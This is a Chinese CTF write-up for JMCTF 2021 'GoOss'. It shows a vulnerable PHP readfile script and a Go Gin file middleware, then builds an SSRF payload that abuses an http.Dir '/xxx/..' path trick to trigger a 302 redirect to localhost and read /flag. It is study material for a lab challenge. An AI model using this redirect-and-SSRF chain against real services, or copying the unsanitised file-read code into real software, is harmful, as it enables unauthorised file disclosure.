JMCTF-2021-GoOss


Feature:

  • Golang http.Dir trick

题目给了两个文件
index.php:

<?php
// php in localhost port 80
readfile($_GET['file']);
?>

main.go, 只截取其中一部分放上来了:

func fileMidderware (c *gin.Context){
	fileSystem := http.Dir("./files/")
	if c.Request.URL.String() == "/"{
		c.Next()
		return
	}
	url := c.Request.URL.String()
	f,err := fileSystem.Open(url)
	if f == nil {
		c.Next()
	}
	//
	if err != nil {
		c.Next()
		return
	}
	defer f.Close()
	fi, err := f.Stat()
	if  err != nil {
		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
		return
	}

	if fi.IsDir() {
		if !strings.HasSuffix(c.Request.URL.String(), "/") {
			c.Redirect(302, c.Request.URL.String()+"/")
		} else {
			files := make([]string,0)
			l,_ := f.Readdir(0)
			for _,i := range l {
				files = append(files, i.Name())
			}

			c.JSON(http.StatusOK, gin.H{
				"files" :files,
			})
		}


	} else {
		data,_ := ioutil.ReadAll(f)
		c.Header("content-disposition", `attachment; filename=` + fi.Name())
		c.Data(200, "text/plain", data)
	}

}

func vulController(c *gin.Context) {

	var url Url
	if err := c.ShouldBindJSON(&url); err != nil {
		c.JSON(500, gin.H{"msg": err})
		return
	}

	if !strings.HasPrefix(url.Url,"http://127.0.0.1:1234/"){
		c.JSON(403, gin.H{"msg": "url forbidden"})
		return
	}
	client := &http.Client{Timeout: 2 * time.Second}

	resp, err := client.Get(url.Url)
	if err != nil {
		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
		return
	}
	defer resp.Body.Close()
	var buffer [512]byte
	result := bytes.NewBuffer(nil)
	for {
		n, err := resp.Body.Read(buffer[0:])
		result.Write(buffer[0:n])
		if err != nil && err == io.EOF {

			break
		} else if err != nil {
			c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
			return
		}
	}
	c.JSON(http.StatusOK, gin.H{"data": result.String()})
}

func main() {
	r := gin.Default()
	r.Use(fileMidderware)
	r.POST("/vul",vulController)
	r.POST("/upload",uploadController)
	r.GET("/", func(c *gin.Context) {
		c.JSON(200, gin.H{
			"message": "pong",
		})
	})
	_ = r.Run(":1234") // listen and serve on 0.0.0.0:8080
}

审计一下,一个 php 服务跑在 80 端口,可以任意文件读取。一个 gin 框架写的服务跑在 1234 端口。
/vul 路由的 handler 会打开用户传递的 url,同时限定了 url 必须以 http://127.0.0.1:1234/ 开头,但是 php 跑在 80 端口,直接访问是不行的。
注意到 main 函数里注册了 fileMidderware 中间件, fileMidderware 里面有一个 302 跳转语句可以利用,于是思路就很明显了: 利用 /vul 路由将请求发送给 / 路由,请求地址中包含的 payload 触发 302 跳转从而读取 flag 。

接下来看看触发 302 跳转的条件:

fileMidderware 里用 http.Dir 创建了个代表当前目录下 files 文件夹的对象,然后在这个文件夹里打开一个与 url 同名的文件,如果这个文件是一个目录且文件名末尾不是 /,就触发 302 跳转。

go语言社区对 http.Dir 的解释:

When you write this code - http.Dir(“/some/path”) you are converting a string into the http.Dir type. This type has one notable method - Open.
When you call Open on an http.Dir it will open the file you named relative to the original path used to create the http.Dir.

.IsDir() 是一个很重要的提示,这里用到一个 trick,把 fileSystem.Open 的参数写成 /xxx/.. 格式表示打开 fileSystem 对应的文件夹自身, xxx 的内容可以随便写,当然也可以是一个 url。

fileSystem := http.Dir("./assets")
	
files := []string{"/xxx/..", "//127.0.0.1?arg1=xxx&arg2=/.."}
for _,file := range files {
  f,_ := fileSystem.Open(file)
  fi,_ := f.Stat()
  if fi.IsDir() {
    fmt.Println("file "+file+" exists")
  }
  f.Close()
}

可以写 payload 了:

{
  "url": "http://127.0.0.1:1234//127.0.0.1?file=%2Fflag&a=/.."
}

注意 / 会被浏览器当成路径处理,所以 /flag 里的 / 要进行因此 urlencode 。


文章作者: Summer
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Summer !